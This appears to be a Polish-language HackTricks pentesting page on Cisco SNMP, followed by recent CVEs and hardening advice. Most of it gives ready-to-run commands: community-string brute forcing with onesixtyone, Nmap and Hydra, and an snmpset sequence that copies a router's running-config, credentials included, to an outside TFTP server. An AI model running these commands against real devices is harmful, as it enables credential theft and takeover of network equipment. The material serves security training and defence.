Cisco SNMP

Reading time: 5 minutes

tip

Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Ucz się i ćwicz Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Wsparcie dla HackTricks

Pentesting Cisco Networks

SNMP działa na UDP z portami 161/UDP dla ogólnych wiadomości i 162/UDP dla wiadomości trap. Protokół ten opiera się na ciągach społeczności, które pełnią rolę "haseł" w postaci tekstu jawnego, umożliwiających komunikację między agentami SNMP a menedżerami. Te ciągi określają poziom dostępu, w szczególności tylko do odczytu (RO) lub odczytu i zapisu (RW).

Klasycznym—ale wciąż niezwykle skutecznym—wektorem ataku jest brute-force ciągów społeczności, aby podnieść się z nieautoryzowanego użytkownika do administratora urządzenia (RW community). Praktycznym narzędziem do tego zadania jest onesixtyone:

bash
onesixtyone -c community_strings.txt -i targets.txt

Inne szybkie opcje to skrypt Nmap NSE snmp-brute lub moduł SNMP Hydra:

bash
nmap -sU -p161 --script snmp-brute --script-args brute.community=wordlist 10.0.0.0/24
hydra -P wordlist.txt -s 161 10.10.10.1 snmp

Zrzut konfiguracji przez SNMP (CISCO-CONFIG-COPY-MIB)

Jeśli uzyskasz RW community, możesz skopiować running-config/startup-config na serwer TFTP/FTP bez dostępu do CLI, wykorzystując CISCO-CONFIG-COPY-MIB (1.3.6.1.4.1.9.9.96). Dwa powszechne podejścia to:

  1. Nmap NSE – snmp-ios-config
bash
nmap -sU -p161 --script snmp-ios-config \
--script-args creds.snmp=private 192.168.66.1

Skrypt automatycznie organizuje operację kopiowania i drukuje konfigurację na stdout.

  1. Ręczna sekwencja snmpset
bash
# Copy running-config (4) to a TFTP server (1) – random row id 1234
snmpset -v2c -c private 192.168.66.1 \
1.3.6.1.4.1.9.9.96.1.1.1.1.2.1234 i 1 \    # protocol = tftp
1.3.6.1.4.1.9.9.96.1.1.1.1.3.1234 i 4 \    # sourceFileType = runningConfig
1.3.6.1.4.1.9.9.96.1.1.1.1.4.1234 i 1 \    # destFileType   = networkFile
1.3.6.1.4.1.9.9.96.1.1.1.1.5.1234 a 10.10.14.8 \ # TFTP server IP
1.3.6.1.4.1.9.9.96.1.1.1.1.6.1234 s \"backup.cfg\" \\
1.3.6.1.4.1.9.9.96.1.1.1.1.14.1234 i 4       # rowStatus = createAndGo

Identyfikatory wierszy są jednorazowe; ponowne użycie w ciągu pięciu minut wywołuje błędy inconsistentValue.

Gdy plik jest na Twoim serwerze TFTP, możesz sprawdzić dane uwierzytelniające (enable secret, username <user> secret itp.) lub nawet przesłać zmodyfikowaną konfigurację z powrotem do urządzenia.


Metasploit goodies

  • cisco_config_tftp – pobiera running-config/startup-config za pomocą TFTP po nadużyciu tej samej MIB.
  • snmp_enum – zbiera informacje o inwentarzu urządzeń, VLAN-ach, opisach interfejsów, tabelach ARP itp.
bash
use auxiliary/scanner/snmp/snmp_enum
set RHOSTS 10.10.100.10
set COMMUNITY public
run

Ostatnie luki w SNMP Cisco (2023 – 2025)

Śledzenie powiadomień od dostawców jest przydatne do określenia możliwości zero-day-to-n-day w ramach zaangażowania:

RokCVEAffected featureImpact
2025CVE-2025-20174Podsystem SNMPOpracowany pakiet prowadzi do uwierzytelnionego DoS (przeładowanie) na IOS/IOS-XE (v1/v2c/v3).
2024CVE-2024-20373Obsługa ACL IPv4Źle skonfigurowane rozszerzone ACL cicho zawodzą, umożliwiając nieautoryzowane sondowanie SNMP, gdy znana jest ważna społeczność/użytkownik.
2025(brak CVE jeszcze)Ominięcie ograniczeń konfiguracji SNMPv3Ważny użytkownik v3 może sondować z adresów, które powinny być zablokowane.

Możliwość wykorzystania często nadal zależy od posiadania ciągu społeczności lub poświadczeń v3 – kolejny powód, dla którego ich łamanie pozostaje istotne.


Wskazówki dotyczące wzmocnienia i wykrywania

  • Zaktualizuj do poprawionej wersji IOS/IOS-XE (zobacz powiadomienie Cisco dotyczące powyższego CVE).
  • Preferuj SNMPv3 z authPriv (SHA-256/AES-256) zamiast v1/v2c.
snmp-server group SECURE v3 priv
snmp-server user monitor SECURE v3 auth sha <authpass> priv aes 256 <privpass>
  • Powiąż SNMP z VRF zarządzania i ogranicz z standardowymi numerowanymi ACL IPv4 (rozszerzone nazwane ACL są ryzykowne – CVE-2024-20373).
  • Wyłącz RW communities; jeśli jest to operacyjnie wymagane, ogranicz je za pomocą ACL i widoków: snmp-server community <string> RW 99 view SysView
  • Monitoruj:
  • Wzrosty UDP/161 lub nieoczekiwane źródła (reguły SIEM).
  • Zdarzenia CISCO-CONFIG-MAN-MIB::ccmHistoryEventConfigSource wskazujące na zmiany konfiguracji poza pasmem.
  • Włącz logowanie SNMPv3 i snmp-server packetsize 1500, aby zredukować niektóre wektory DoS.

Odniesienia

  • Cisco: Jak kopiować konfiguracje do i z urządzeń Cisco za pomocą SNMP
  • Powiadomienie bezpieczeństwa Cisco cisco-sa-snmp-uwBXfqww (CVE-2024-20373)

tip

Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Ucz się i ćwicz Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Wsparcie dla HackTricks